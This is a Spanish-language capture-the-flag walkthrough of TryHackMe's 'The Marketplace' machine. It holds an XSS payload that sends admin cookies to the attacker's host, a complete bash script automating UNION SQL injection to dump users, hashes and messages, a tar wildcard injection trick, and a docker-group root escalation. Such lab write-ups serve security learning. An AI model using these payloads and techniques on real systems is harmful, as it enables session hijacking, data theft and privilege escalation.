The Marketplace - Try Hack Me
Esta es una máquina de nivel medio según la plataforma
Bien, lo primero que hacemos para empezar es lanzarle una traza ICMP a la máquina para verificar que se encuentra activa
ping -c 1 [IP]
PING 10.10.140.35 (10.10.140.35) 56(84) bytes of data.
64 bytes from 10.10.140.35: icmp_seq=1 ttl=63 time=189 ms
--- 10.10.140.35 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 189.081/189.081/189.081/0.000 ms
Una vez comprobamos que la máquina se encuentra activa y en base al ttl reconocemos que el sistema operativo es linux continuamos haciendo un escaneo de puertos, para la resolución de máquinas yo acustumbro a usar nmap de la siguiente manera:
nmap -p- --open -T5 -sV -v -n [IP]
de esta manera se realizará un escaneo de todo el tango de puertos y se listarán solo los que tengan un estado abierto seguido del servicio que corre cada uno de ellos, dependiendo de la velocidad del escaneo puedes variarlo a tu gusto con el parametro -T o con –min-rate especificando el mínimo de paquetes que quieras que se emitan por segundo, ej: –min-rate 6000
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-17 16:03 -05
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 16:03
Scanning 10.10.140.35 [4 ports]
Completed Ping Scan at 16:03, 0.23s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:03
Scanning 10.10.140.35 [65535 ports]
Discovered open port 80/tcp on 10.10.140.35
Discovered open port 22/tcp on 10.10.140.35
Discovered open port 32768/tcp on 10.10.140.35
Completed SYN Stealth Scan at 16:05, 98.83s elapsed (65535 total ports)
Initiating Service scan at 16:05
Scanning 3 services on 10.10.140.35
Completed Service scan at 16:05, 11.97s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.140.35.
Initiating NSE at 16:05
Completed NSE at 16:05, 0.85s elapsed
Initiating NSE at 16:05
Completed NSE at 16:05, 0.78s elapsed
Nmap scan report for 10.10.140.35
Host is up (0.23s latency).
Not shown: 65532 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.19.2
32768/tcp open http Node.js (Express middleware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.33 seconds
Raw packets sent: 196680 (8.654MB) | Rcvd: 46 (2.008KB)
Podemos ver como se nos reportan 3 puertos abiertos externamente, el 22 (ssh), 80 (http) y el 32768 (http)
Al no tener credenciales validas para intentar conectarnos por ssh vamos a efectuar un reconocimiento básico de la web con whatweb
whatweb http://[IP]
http://10.10.140.35 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.19.2], IP[10.10.140.35],
Title[The Marketplace], X-Powered-By[Express], nginx[1.19.2]
Así a simple vista no vemos nada de interes, como algún gestor de contenido o algún potencial usuario
si efectuamos el mismo reconocimiento a la web por el puerto 32768, que es el otro puerto que vimos que corre un servicio http, tampoco vemos nada que nos llame la atención
whatweb http://[IP]:32768
http://10.10.140.35:32768 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.140.35], Title[The Marketplace],
X-Powered-By[Express]
así que vamos a analizar la web directamente desde el navegador
Al abrirla podemos ver que hay algunas publicaciones hechas de algunos productos, justo debajo de ellas podemos ver los nombres de los usuarios que realizaron la publicación y adicionalmente podemos acceder a algunos apartados de la web como al inicio, el registro y el login
viendo las publicaciones no hay nada interesante, a demás de los potenciales usuarios que ya habíamos visto, así que me dirijo a la sección de registro que luce de la siguiente manera:
nos registramos con un nombre de usuario cualquiera y una contraseña
Una vez registrado y logeado vemos que tenemos disponibles nuevas secciones de la web, ahora podemos crear publicaciones y ver nuestros mensajes, a parte de poder reportar publicaciones al usuario administrador
Si entramos en new listing vemos que aparte de poder poner un titulo y una descripción a la publicación que queremos crear, hay un botón que sirve para subir archivos a la web, pero está desactivado
Este lo podemos activar desde las herramientas del navegador y dejarlo funcional para posteriormente subir una reverse shell, pero no vale la pena hacerlo porque no nos funcionará
Entonces ya que podemos crear publicaciones con el contenido que queramos probé con XSS a ver si se interpretaba el código en la publicación
y comprobamos que funcionó
Ya sabiendo que es vulnerable y recordando que podemos reportar publicaciones al usuario administrador, pensé en que los tiros iban por un CSRF, así que creé una publicación con el siguiente contenido:
<script>document.write("<img src='http://10.9.242.217/imagen.jpg?cookie=" + document.cookie + "'>")</script>
esto lo que hará es enviarme la cookie de sesión del usuario que abra la publicación por medio de una petición get a un recurso (imagen.jpg) a mi máquina de atacante, por lo tanto antes de hacer el reporte de la publicación debo iniciar un servidor http con python de la siguiente manera:
python3 -m http.server 80
Reportamos la publicación
y obtenemos la cookie del usuario administrador por consola
~$> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.140.35 - - [17/Aug/2021 16:56:43] code 404, message File not found
10.10.140.35 - - [17/Aug/2021 16:56:43] "GET /imagen.jpg?cookie=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MjkyMzc0MDN9.eyoUCIc4jmxJpVs82X9FhkFR5WhZFDrG-pk1zS0oWcM HTTP/1.1" 404 -
Una vez obtenida la cookie efectuamos un cookie hijacking, en mi caso, lo hago desde el apartado de almacenamiento de la página, pero tambien se puede hacer con herramientas como EditThisCookie
Luego de esto, recargamos la página y vemos que se nos habilita una nueva sección de la web, el panel de administración
Si seleccionamos algún usuario podemos ver un poco de información, pero lo más importante es que en la URL vemos algo que puede ser muy interesante
Si probamos ingresando un valor erroneo en user=, como por ejemplo -1, podemos ver como se nos lista un error de sintaxis de mysql, lo que quiere decir que es vulnerable a sql-injection
Hacemos un ordenamiento para determinar el número de columnas
y ya sabiendo que son 4 podríamos ir listando tabla por tabla hasta encontrar algo que nos interese, pero eso podría llegar a ser algo tardado, así que lo que hice fue crear un pequeño script en bash que me automatice el proceso de listado de tablas, columnas y campos (Aquí abajo dejo el código)
#!/bin/bash
#Colors
greenColor="\e[0;32m\033[1m"
endColor="\033[0m\e[0m"
redColor="\e[0;31m\033[1m"
blueColor="\e[0;34m\033[1m"
yellowColor="\e[0;33m\033[1m"
purpleColor="\e[0;35m\033[1m"
turquoiseColor="\e[0;36m\033[1m"
grayColor="\e[0;37m\033[1m"
function ctrl_c(){
echo -e "\n\n${redColor}[!] Exiting...${endColor}\n"
tput cnorm; exit 1
}
trap ctrl_c INT
tput civis
function helpPanel(){
echo -e "\n${redColor}[!] Use: $0"
for i in $(seq 1 80); do echo -ne ${redColor}-${endColor}; done
echo -e "\n\n\t${blueColor}[-c]${endColor} ${yellowColor}Cookie${endColor}"
echo -e "\t${blueColor}[-e]${endColor}${yellowColor} Extract${endColor}"
echo -e "\t\t${purpleColor}tables${endColor}"
echo -e "\t\t${purpleColor}columns${endColor}"
echo -e "\t\t\t${blueColor}[-t]${endColor} ${yellowColor}Table name${endColor}"
echo -e "\t\t${purpleColor}fields${endColor}"
echo -e "\t\t\t${blueColor}[-f]${endColor} ${yellowColor}Fields names${endColor}${blueColor} (ceparate by ${endColor}${purpleColor},${endColor}${blueColor})${endColor}"
echo -e "\t${blueColor}[-n]${endColor}${yellowColor} Number output${endColor}"
echo -e "\t${blueColor}[-h]${endColor}${yellowColor} Show this help panel${endColor}"
echo -e "\n\t${purpleColor}Use examples:${endColor}"
echo -e "\t\t${yellowColor}$0${endColor} ${blueColor}-c${endColor} ${yellowColor}eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiO${endColor} ${blueColor}-e${endColor} ${yellowColor}tables${endColor} ${blueColor}-n${endColor} ${yellowColor}80${endColor}"
echo -e "\t\t${yellowColor}$0${endColor} ${blueColor}-c${endColor} ${yellowColor}eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiO${endColor} ${blueColor}-e${endColor} ${yellowColor}columns${endColor} ${blueColor}-t${endColor} ${yellowColor}Users${endColor} ${blueColor}-n${endColor} ${yellowColor}30${endColor}"
echo -e "\t\t${yellowColor}$0${endColor} ${blueColor}-c${endColor} ${yellowColor}eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiO${endColor} ${blueColor}-e${endColor} ${yellowColor}fields${endColor} ${blueColor}-f${endColor} ${yellowColor}id,user,password${endColor} ${blueColor}-t${endColor} ${yellowColor}Users${endColor} ${blueColor}-n${endColor} ${yellowColor}10${endColor}\n"
tput cnorm
}
declare -r url="http://127.0.0.1" # <- CHANGE THIS
function extractTables(){
echo
for i in $(seq 0 $number_output); do
echo -ne "\n${yellowColor}[${endColor}${greenColor}+${endColor}${yellowColor}] Table [${endColor}${greenColor}$i${endColor}${yellowColor}]:${endColor} "
curl -s -H "Cookie: token=$token" -X GET "$url/admin?user=-1+union+select+null,table_name,null,null+from+information_schema.tables+limit+$i,1+--+-" | grep "User" | tail -n 1 | awk '{print $2}'
done; tput cnorm
}
function extractColumns(){
echo
for i in $(seq 0 $number_output); do
echo -ne "\n${yellowColor}[${endColor}${greenColor}+${endColor}${yellowColor}] Column [${endColor}${greenColor}$i${endColor}${yellowColor}]:${endColor} "
curl -s -H "Cookie: token=$token" -X GET "$url/admin?user=-1+union+select+null,column_name,null,null+from+information_schema.columns+where+table_name='$table'+limit+$i,1+--+-" | grep "User" | tail -n 1 | awk '{print $2}'
done; tput cnorm
}
function extractFields(){
declare -r fields=$(echo $fields | sed 's/,/,0x3a,/g')
echo
for i in $(seq 0 $number_output); do
echo -ne "\n${yellowColor}[${endColor}${greenColor}+${endColor}${yellowColor}] Field [${endColor}${greenColor}$i${endColor}${yellowColor}]:${endColor}"
curl -s -H "Cookie: token=$token" -X GET "$url/admin?user=-1+union+select+concat($fields),null,null,null+from+$table+limit+$i,1+--+-" | grep "ID" -A 50 | grep "Is administrator:" -B 15 | grep -v "Is administrator:" | sed "s/ID://" | sed "s/<br />/g" | tr -d ">/>" | sed "s/ / /g"
done; tput cnorm
}
declare -i parameter_counter=0; while getopts ":c:e:t:f:n:h:" arg; do
case $arg in
c) token=$OPTARG; let parameter_counter+=1;;
e) extract=$OPTARG; let parameter_counter+=1;;
t) table=$OPTARG; let parameter_counter+=1;;
f) fields=$OPTARG; let parameter_counter+=1;;
n) number_output=$OPTARG; let parameter_counter+=1;;
h) help;;
esac
done
if [ $parameter_counter -eq 0 ]; then
helpPanel
else
if [ "$(echo $extract)" == "tables" ]; then
if [ ! "$number_output" ]; then
number_output=100
extractTables $number_output
else
extractTables $number_output
fi
elif [ "$(echo $extract)" == "columns" ]; then
if [ ! "$number_output" ]; then
number_output=50
extractColumns $number_output
else
extractColumns $number_output
fi
elif [ "$(echo $extract)" == "fields" ]; then
if [ ! "$number_output" ]; then
number_output=30
extractFields $number_output
else
extractFields $number_output
fi
fi
fi
Se ve de la siguiente manera:
~$>./sqli.sh
[!] Use: ./sqli.sh
--------------------------------------------------------------------------------
[-c] Cookie
[-e] Extract
tables
columns
[-t] Table name
fields
[-f] Fields names (ceparate by ,)
[-n] Number output
[-h] Show this help panel
Use examples:
./sqli.sh -c eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiO -e tables -n 80
./sqli.sh -c eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiO -e columns -t Users -n 30
./sqli.sh -c eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiO -e fields -f id,user,password -t Users -n 10
Lo primero que deberías hacer es cambiar la ip que está por defecto en el código del script por la IP que tengas asignada en tu máquina víctima
declare -r url="http://127.0.0.1" # <- CHANGE THIS
Una vez hecho esto empezaremos a listar las tablas existentes en la base de datos usando nuestra herramienta de la siguiente manera:
~$>./sqli.sh -c COOKIE_DEL_USUARIO_ADMINISTRADOR -e tables -n 80
[+] Table [0]: ADMINISTRABLE_ROLE_AUTHORIZATIONS
[+] Table [1]: APPLICABLE_ROLES [+] Table [41]: INNODB_TABLESTATS
[+] Table [2]: CHARACTER_SETS [+] Table [42]: INNODB_TEMP_TABLE_INFO
[+] Table [3]: CHECK_CONSTRAINTS [+] Table [43]: INNODB_TRX
[+] Table [4]: COLLATIONS [+] Table [44]: INNODB_VIRTUAL
[+] Table [5]: COLLATION_CHARACTER_SET_APPLICABILITY [+] Table [45]: KEYWORDS
[+] Table [6]: COLUMNS [+] Table [46]: KEY_COLUMN_USAGE
[+] Table [7]: COLUMNS_EXTENSIONS [+] Table [47]: OPTIMIZER_TRACE
[+] Table [8]: COLUMN_PRIVILEGES [+] Table [48]: PARAMETERS
[+] Table [9]: COLUMN_STATISTICS [+] Table [49]: PARTITIONS
[+] Table [10]: ENABLED_ROLES [+] Table [50]: PLUGINS
[+] Table [11]: ENGINES [+] Table [51]: PROCESSLIST
[+] Table [12]: EVENTS [+] Table [52]: PROFILING
[+] Table [13]: FILES [+] Table [53]: REFERENTIAL_CONSTRAINTS
[+] Table [14]: INNODB_BUFFER_PAGE [+] Table [54]: RESOURCE_GROUPS
[+] Table [15]: INNODB_BUFFER_PAGE_LRU [+] Table [55]: ROLE_COLUMN_GRANTS
[+] Table [16]: INNODB_BUFFER_POOL_STATS [+] Table [56]: ROLE_ROUTINE_GRANTS
[+] Table [17]: INNODB_CACHED_INDEXES [+] Table [57]: ROLE_TABLE_GRANTS
[+] Table [18]: INNODB_CMP [+] Table [58]: ROUTINES
[+] Table [19]: INNODB_CMPMEM [+] Table [59]: SCHEMATA
[+] Table [20]: INNODB_CMPMEM_RESET [+] Table [60]: SCHEMA_PRIVILEGES
[+] Table [21]: INNODB_CMP_PER_INDEX [+] Table [61]: STATISTICS
[+] Table [22]: INNODB_CMP_PER_INDEX_RESET [+] Table [62]: ST_GEOMETRY_COLUMNS
[+] Table [23]: INNODB_CMP_RESET [+] Table [63]: ST_SPATIAL_REFERENCE_SYSTEMS
[+] Table [24]: INNODB_COLUMNS [+] Table [64]: ST_UNITS_OF_MEASURE
[+] Table [25]: INNODB_DATAFILES [+] Table [65]: TABLES
[+] Table [26]: INNODB_FIELDS [+] Table [66]: TABLESPACES
[+] Table [27]: INNODB_FOREIGN [+] Table [67]: TABLESPACES_EXTENSIONS
[+] Table [28]: INNODB_FOREIGN_COLS [+] Table [68]: TABLES_EXTENSIONS
[+] Table [29]: INNODB_FT_BEING_DELETED [+] Table [69]: TABLE_CONSTRAINTS
[+] Table [30]: INNODB_FT_CONFIG [+] Table [70]: TABLE_CONSTRAINTS_EXTENSIONS
[+] Table [31]: INNODB_FT_DEFAULT_STOPWORD [+] Table [71]: TABLE_PRIVILEGES
[+] Table [32]: INNODB_FT_DELETED [+] Table [72]: TRIGGERS
[+] Table [33]: INNODB_FT_INDEX_CACHE [+] Table [73]: USER_ATTRIBUTES
[+] Table [34]: INNODB_FT_INDEX_TABLE [+] Table [74]: USER_PRIVILEGES
[+] Table [35]: INNODB_INDEXES [+] Table [75]: VIEWS
[+] Table [36]: INNODB_METRICS [+] Table [76]: VIEW_ROUTINE_USAGE
[+] Table [37]: INNODB_SESSION_TEMP_TABLESPACES [+] Table [77]: VIEW_TABLE_USAGE
[+] Table [38]: INNODB_TABLES [+] Table [78]: items
[+] Table [39]: INNODB_TABLESPACES [+] Table [79]: messages
[+] Table [40]: INNODB_TABLESPACES_BRIEF [+] Table [80]: users
Luego de eso podemos ver que en total se nos listan 80 tablas, de las cuales me llaman la atención 2, users y messages, así que ahora continuaremos listando las columnas de la tabla users de la siguiente manera:
~$>./sqli.sh -c COOKIE_DEL_USUARIO_ADMINISTRADOR -e columns -t users -n 3
[+] Column [0]: id
[+] Column [1]: username
[+] Column [2]: password
[+] Column [3]: isAdministrator
vemos que solo se nos listan 4 columnas (id, username, password, isAdministrator) Veamos la información de los campos que nos interese de las columnas anteriormente encontradas, en mi caso listaré el username y password tal que así:
~$>./sqli.sh -c COOKIE_DEL_USUARIO_ADMINISTRADOR -e fields -f username,password -t users -n 3
[+] Field [0]: system:$2b$10$83pRYaRd4ZWJVEex.lxu.Xs1aTNDBWIUmB4z.R0DT0MSGIGzsgW
[+] Field [1]: michael:$2b$10$yaYKN53QQ6ZvPzHGAlmqiOwGt8DXLAO5u2844yUlvu2EXwQDGf1q
[+] Field [2]: jake:$2b$10$DkSlJB4L85SCNhS.IxcfeNpEBn.VkyLvQ2Tk9p2SDsiVcCRb4ukG
[+] Field [3]: invertebrado:$2b$10$vP.vcNPPHhKVIQ.1vkjGM.4iFwZXksK5zVBBcUHe6upQoh7B.XW
Luego de esto podemos ver que en total hay 4 usuarios system,michael,jake,Invertebrado(el usuario que creamos al inicio) seguidos de unos hashes los cuales intenté crackear usando jhon con el diccionario rockyou, pero estaba tardando demasiado así que decidí cancelarlo y recordé que a demás de la tabla users había otra que se veía interesante (messages), entonces dumpee las columnas de esa tabla
~$>./sqli.sh -c COOKIE_DEL_USUARIO_ADMINISTRADOR -e columns -t messages -n 4
[+] Column [0]: id
[+] Column [1]: user_from
[+] Column [2]: user_to
[+] Column [3]: message_content
[+] Column [4]: is_read
ahí vemos las columnas que contiene, ahora sigue extraer los campos de interes
~$>./sqli.sh -c COOKIE_DEL_USUARIO_ADMINISTRADOR -e fields -f user_from,user_to,message_content -t messages -n 2
[+] Field [0]: 1:3:Hello!
An automated system has detected your SSH password is too weak and needs to be changed. You have been generated a new temporary password.
Your new password is: @<***CENSORED***>J
[+] Field [1]: 1:4:Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace!
[+] Field [2]: 1:4:Thank you for your report. We have reviewed the listing and found nothing that violates our rules.
Al hacer esto podemos ver que hay 4 mensajes de los cuales el único que nos interesa es el primero, aquí podemos ver una clave de ssh que el usuario 1 (system) le proporciona al usuario 3 (jake), el orden de los usuarios es el mismo que vimos cuando dumpeamos los usuarios con sus hashes
Probamos a conectarnos por ssh como el usuario jake para validar que la calve es valida
~$> ssh jake@[IP]
The authenticity of host '10.10.140.35 (10.10.140.35)' can't be established.
ECDSA key fingerprint is SHA256:nRz0NCvN/WNh5cE3/dccxy42AXrwcJInG2n8nBWtNtg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.140.35' (ECDSA) to the list of known hosts.
jake@10.10.140.35's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Aug 17 23:08:12 UTC 2021
System load: 0.0 Users logged in: 0
Usage of /: 87.1% of 14.70GB IP address for eth0: 10.10.140.35
Memory usage: 28% IP address for docker0: 172.17.0.1
Swap usage: 0% IP address for br-636b40a4e2d6: 172.18.0.1
Processes: 96
=> / is using 87.1% of 14.70GB
20 packages can be updated.
0 updates are security updates.
jake@the-marketplace:~$
Y estamos dentro!, ahora puedes leer la flag user.txt en el directorio personal de michael Luego de esto listé los archivos que tubiesen permisos SUID, pero no encontré ninguno que fuese interesante
jake@the-marketplace:~$ cat user.txt
THM{<***CENSORED***>}
Entonces viendo que podemos hacer como root siendo jake nos encontramos con algo que puede ser interesante
jake@the-marketplace:~$ sudo -l
Matching Defaults entries for jake on the-marketplace:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on the-marketplace:
(michael) NOPASSWD: /opt/backups/backup.sh
podemos ejecutar un script, si leemos el código del script vemos un potencial vector de ataque, un wiledcard (*), así que se viene privileges scalation con wiledcard
jake@the-marketplace:~$ cat /opt/backups/backup.sh
#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *
En este script está usando tar diciendole que englobe todo lo disponible en el directorio actual con el wiledcard, así que nos aprobechamos de 2 parametros que tiene tar con los que se pueden ejecutar comandos para crear los siguientes archivos:
jake@the-marketplace:/opt/backups~$ echo "" > --checkpoint=1 && echo "" > --checkpoint-action=exec=bash
jake@the-marketplace:/opt/backups~$ ls
backup.sh backup.tar '--checkpoint=1' '--checkpoint-action=exec=bash'
esto ará que tar tome los archivos como parametros del mismo y ejecute la instrucción que se le indique (en este caso exec=bash) luego de esto eliminamos el archivo backup.tar
jake@the-marketplace:/opt/backups~$ rm backup.tar
esto para evitar el siguiente error:
jake@the-marketplace:/opt/backups$ sudo -u michael ./backup.sh
Backing up files...
tar: /opt/backups/backup.tar: Cannot open: Permission denied
tar: Error is not recoverable: exiting now
ejecutamos el script como el usuario michael
jake@the-marketplace:/opt/backups$ sudo -u michael ./backup.sh
Backing up files...
y ahora somos el usuario michael, excelente trabajo
michael@the-marketplace:/opt/backups$ whoami
michael
Pero todavía falta conseguir la flag del usuario root, así que vamos a eso
viendo en que grupos está michael vemos uno muy llamativo del que podemos abusar para convertirnos en root, el grupo docker, así que directamente listamos las imagenes que hay
michael@the-marketplace:/opt/backups$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
themarketplace_marketplace latest 6e3d8ac63c27 11 months ago 2.16GB
nginx latest 4bb46517cac3 12 months ago 133MB
node lts-buster 9c4cc2688584 12 months ago 886MB
mysql latest 0d64f46acfd1 12 months ago 544MB
alpine latest a24bb4013296 14 months ago 5.57MB
y usamos alpine para crear una montura de la raiz en mnt para poder visualizar la flag root.txt
michael@the-marketplace:/opt/backups$ docker run --rm -it --network bridge -v /:/mnt --name rooted alpine sh
/ # whoami
root
Ahora vemos que estamos en un contenedor como el usuario root en donde podemos meternos en mnt, luego en el directorio root y leer la flag
/ # cd /mnt/root
/mnt/root # cat root.txt
THM{<***CENSORED***>}